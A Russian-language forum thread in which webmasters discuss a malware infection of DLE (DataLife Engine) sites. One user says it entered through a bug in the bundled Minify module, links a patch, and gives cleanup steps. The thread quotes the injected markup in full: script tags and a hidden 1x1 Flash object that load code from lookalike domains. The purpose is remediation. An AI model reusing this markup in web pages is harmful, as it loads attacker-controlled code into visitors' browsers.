[ussuriyskiy]

terrik, Я в DLE нашел этот код здесь: public_html//engine/classes/mysql.php
Здесь тоже был код: engine/modules/functions.php

Но было еще несколько зараженных файлов уже не помню где... Искал с помощью айболита

[Arsen]

Если не исправили обращайтесь в личку помогу. Был такой вирус у меня на сайте. это скрипт.

[ussuriyskiy]

Arsen, узнать бы как он был залит...

[Arsen]

ussuriyskiy, И это известно)) Через баг в движке DLE, а именно в модуле сжатия файлов Minify входящем в состав DLE https://code.google.com/p/minify/

[ussuriyskiy]

Arsen, а разрабы DLE еще не вкурсе получается? Вроде все обновления ставил... А как подправить этот баг можно узнать?

[Arsen]

ussuriyskiy, Уже фикс давно есть))) вот ссыль: http://dle-news.ru/bags/v10/1580-pot...le-minify.html
Вирус вообще находится здесь: engine/cache/news_здесь ваши цивры и буквы, каждый файл нужно открывать (я использовал Notepad++) и из каждой новости удалять скрипт выгледит примерно так: В начале новости:

Код:

<script async="async" type="text/javascript" src="http://google-statistics.ru/js/c51ce410c124a10e0db5e4b97fc2af39.js"></script>

, В конце новости:

Код:

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1"><param name="movie" value="http://webmasters-yandex.ru/flash.swf?820373588"><param name="quality" value="high"/><param name="scale" value="exactfit"><param name="bgcolor" value="#FFFFFF"/><param name="AllowScriptAccess" value="always"/><embed src="http://webmasters-yandex.ru/flash.swf?560644068" width="1" height="1" type="application/x-shockwave-flash" AllowScriptAccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object><script async="async" type="text/javascript" src="http://google-webmaster.ru/c51ce410c124a10e0db5e4b97fc2af39.js"></script>

Потом ставим фикс. Меняем пороль от FTP и админ панели.... Если после этих действий вирус снова появляется обращайтесь к хостеру, значит у них где то дырка))